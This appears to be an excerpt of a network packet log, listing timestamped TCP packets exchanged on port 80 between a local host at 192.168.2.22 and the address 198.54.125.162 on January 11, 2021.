Jan 11, 2021 20:47:36.661986113 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.662023067 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.662054062 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.662060022 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.662086964 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.662096024 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.662113905 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.662134886 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.662144899 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.662170887 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.662173033 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.662220001 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.662223101 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.662262917 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.662272930 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.662319899 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.662945986 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.860807896 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.860872030 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.860902071 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.860932112 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.860970020 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.861008883 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.861046076 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.861093998 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.861097097 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.861114025 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.861114979 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.861136913 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.861146927 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.861175060 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.861183882 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.861213923 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.861216068 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.861252069 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.861268997 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.861289024 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.861299992 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.861325979 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.861330032 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.861362934 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.861394882 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.861414909 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.861449003 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.861499071 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.861515045 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.861541033 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.861541986 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.861578941 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.861617088 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.861619949 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.861654997 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.861670971 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.861691952 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.861701965 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.861730099 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.861748934 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.861768007 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.861779928 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.861805916 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.861816883 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.861857891 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.861869097 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.861896038 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.861897945 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.861932993 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.861946106 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.861972094 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.861974001 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.862008095 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.862025976 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.862046957 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.862056971 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.862082958 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.862101078 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.862128019 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.862129927 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.862171888 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.862183094 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.862209082 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.862227917 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.862246990 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.862257004 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.862283945 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.862303019 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.862320900 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.862355947 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.862358093 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.862381935 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.862395048 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.862407923 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.862440109 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.862442017 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.862484932 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.862494946 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.862536907 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.863060951 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.059427977 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.059463024 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.059483051 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.059509993 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.059531927 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.059552908 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.059575081 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.059596062 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.059617043 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.059637070 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.059658051 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.059683084 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.059705973 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.059726954 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.059902906 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.060153961 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.060197115 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.060234070 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.060271978 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.060300112 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.060311079 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.060348988 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.060386896 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.060395002 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.060426950 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.060455084 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.060473919 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.060497046 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.060518026 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.060554028 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.060564995 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.060592890 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.060631037 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.060631990 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.060669899 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.060709953 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.060713053 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.060748100 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.060775995 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.060796022 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.060821056 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.060842991 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.060870886 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.060880899 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.060920000 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.060944080 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.060957909 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.060995102 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.061013937 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.061033010 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.061070919 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.061088085 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.061117887 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.061140060 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.061161041 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.061188936 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.061197996 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.061238050 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.061259031 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.061275959 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.061312914 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.061332941 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.061352015 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.061414957 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.061431885 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.061444044 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.061475992 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.061525106 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.061532974 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.061589003 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.061666965 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.062817097 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.247375011 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.247456074 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.247490883 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.247529030 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.247567892 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.247606993 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.247653008 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.247694016 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.247793913 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.247833967 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.262109041 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.262166977 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.262197018 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.262226105 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.262258053 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.262288094 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.262343884 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.262382984 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.262422085 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.262460947 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.262496948 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.262514114 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.262531996 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.262537003 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.262542009 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.262543917 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.262576103 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.262587070 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.262593985 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.262624025 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.262641907 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.262661934 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.262671947 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.262700081 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.262713909 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.262736082 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.262773037 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.262774944 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.262794018 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.262811899 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.262839079 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.262857914 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.262861967 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.262903929 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.262940884 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.262943029 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.262969971 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.262979031 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.262996912 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.263016939 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.263032913 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.263052940 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.263088942 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.263089895 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.263118029 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.263127089 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.263166904 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.263174057 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.263195992 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.263216972 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.263225079 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.263253927 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.263283968 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.263293028 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.263304949 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.263329983 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.263353109 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.263365030 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.263382912 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.263403893 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.263412952 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.263441086 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.263489008 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.263493061 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.263503075 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.263530016 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.263560057 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.263566971 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.263592005 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.263606071 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.263632059 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.263643026 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.263660908 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.263695955 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.264094114 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.437675953 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.437741041 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.437771082 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.437799931 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.437838078 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.437870026 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.437887907 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.437899113 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.437930107 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.437958002 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.437967062 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.437987089 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.438005924 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.438019037 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.438043118 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.438071966 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.438077927 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.438093901 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.438116074 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.438123941 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.438153028 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.438185930 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.438199997 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.438203096 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.438241959 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.438266993 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.438277960 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.438292027 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.438314915 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.438323021 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.438353062 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.438380003 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.438390017 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.438409090 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.438429117 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.438456059 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.438483000 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.467700958 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.467757940 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.467797995 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.467833996 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.467884064 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.467925072 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.467941046 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.467961073 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.467967987 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.467999935 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.468014956 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.468034029 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.468039036 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.468059063 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.468075037 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.468096018 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.468112946 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.468131065 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.468151093 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.468175888 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.468197107 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.468209028 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.468240023 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.468276978 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.468277931 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.468297005 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.468313932 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.468337059 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.468350887 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.468358994 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.468385935 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.468421936 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.468425035 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.468451023 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.468461037 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.468481064 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.468508005 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.468514919 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.468550920 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.468579054 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.468586922 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.468599081 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.468626022 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.468631983 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.468664885 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.468689919 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.468700886 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:37.468719006 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:37.468739033 CET	80	49165	198.54.125.162	192.168.2.22
